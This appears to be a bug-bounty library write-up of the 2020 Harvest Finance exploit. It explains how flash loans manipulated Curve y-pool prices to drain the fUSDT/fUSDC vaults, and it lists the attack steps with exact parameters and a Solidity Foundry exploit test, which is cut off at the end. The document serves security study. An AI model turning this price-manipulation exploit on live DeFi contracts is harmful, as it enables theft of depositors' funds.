# Harvest Finance: Curve price manipulation drains fUSDT/fUSDC vaults

Harvest Finance vaults priced shares from manipulable Curve y-pool spot rates, letting a flash-loan attacker pump/dump USDT price and withdraw excess funds.

- Payout: Real-world hack
- Severity: critical
- Program: Harvest Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2020-10-26
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-10/HarvestFinance_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20201026-harvestfinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:accounting-error vuln:flash-loan vuln:oracle-manipulation

**Target:** Yield-aggregator vault contracts (fUSDT/fUSDC) pricing deposits via Curve y-pool
**Root cause:** Vault share price for deposit/withdraw was derived from Curve y-pool virtual/underlying prices that an attacker could shift within a single transaction; the arbitrage/slippage tolerance check was too loose (3% default) to catch the manipulation.
**Steps:**
1. Flash-borrow `50_000_000 * 10**6` USDC from Uniswap USDC/ETH pair via `usdcPair.swap(usdcLoan, 0, address(this), "0x")`
2. Inside `uniswapV2Call`, flash-borrow `17_300_000 * 10**6` USDT from Uniswap USDT/ETH pair
3. Loop 6 times calling `theSwap(i)`: `curveYSwap.exchange_underlying(2, 1, 17_200_000 * 10**6, 17_000_000 * 10**6)` to push USDT price up
4. `harvest.deposit(49_000_000_000_000)` into fUSDC vault at inflated USDT price
5. `curveYSwap.exchange_underlying(1, 2, 17_310_000 * 10**6, 17_000_000 * 10**6)` to push USDT price back down
6. `harvest.withdraw(fusdc.balanceOf(address(this)))` to redeem shares now worth more USDT
7. Repay flash loans (`usdcRepayment`, `usdtRepayment` at 0.301% fee) and keep profit
**How found:** Analysis of the FARM_USDT strategy code showed share pricing used a `tokenIndex`-based underlying calculation on Curve y-pool rather than a manipulation-resistant oracle; the loose 3% slippage/arbitrage tolerance let a single-transaction price swing pass the check.
**Exploitation:** Attacker flash-borrowed ~$50M USDC and ~$17.3M USDT from Uniswap, then repeatedly swapped USDC→USDT on Curve y-pool to inflate USDT price, deposited into Harvest fUSDT/fUSDC vaults at the inflated valuation, swapped back USDT→USDC to crash the price, and withdrew shares that now redeemed for more USDT than deposited. Each cycle netted ~$500k; repeated ~32 times (4 per 10M gas block) for ~$24M profit, then laundered via renBTC and Tornado Cash.
**Escalation:** Repeated the pump/deposit/dump/withdraw cycle 32 times within one flash-loan transaction, compounding ~0.5M profit per iteration; could have drained up to $400M across renBTC, FARM_TUSD and FARM_DAI pools but stopped at ~$25M.
**Insight:** When a vault's share price is read from an AMM/Curve pool's spot or virtual price inside the same tx as deposit/withdraw, a flash loan can move that price between the two calls; check whether the strategy's slippage/arbitrage tolerance is wide enough to permit a profitable round-trip.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test with flashloan and Curve swaps**

```
function testExploit() public {
        usdt.approve(address(curveYSwap), type(uint256).max);
        usdc.approve(address(curveYSwap), type(uint256).max);
        usdc.approve(address(harvest), type(uint256).max);
        usdt.approve(address(usdtPair), type(uint256).max);
        usdc.approve(address(usdcPair), type(uint256).max);
        emit log_named_uint("Before exploitation, USDC balance of attacker:", usdc.balanceOf(address(this)) / 1e6);
        emit log_named_uint("Before exploitation, USDT balance of attacker:", usdt.balanceOf(address(this)) / 1e6);
        usdcPair.swap(usdcLoan, 0, address(this), "0x");

        emit log_named_uint("After exploitation, USDC balance of attacker:", usdc.balanceOf(address(this)) / 1e6);
        emit log_named_uint("After exploitation, USDT balance of attacker:", usdt.balanceOf(address(this)) / 1e6);
    }

    function uniswapV2Call(address, uint256, uint256, bytes calldata) external {
        if (msg.sender == address(usdcPair)) {
            emit log_named_uint("Flashloan, Amount of USDC received:", usdc.balanceOf(address(this)) / 1e6);
            usdtPair.swap(0, usdtLoan, address(this), "0x");
            bool usdcSuccess = usdc.transfer(address(usdcPair), usdcRepayment);
        }

        if (msg.sender == address(usdtPair)) {
            emit log_named_uint("Flashloan, Amount of USDT received:", usdt.balanceOf(address(this)) / 1e6);
            for (uint256 i = 0; i < 6; i++) {
                theSwap(i);
            }
            usdt.transfer(msg.sender, usdtRepayment);
        }
    }

    function theSwap(
        uint256 i
    ) internal {
        curveYSwap.exchange_underlying(2, 1, 17_200_000 * 10 ** 6, 17_000_000 * 10 ** 6);
        harvest.deposit(49_000_000_000_000);
        curveYSwap.exchange_underlying(1, 2, 17_310_000 * 10 ** 6, 17_000_000 * 10 ** 6);
        harvest.withdraw(fusdc.balanceOf(address(this)));
```

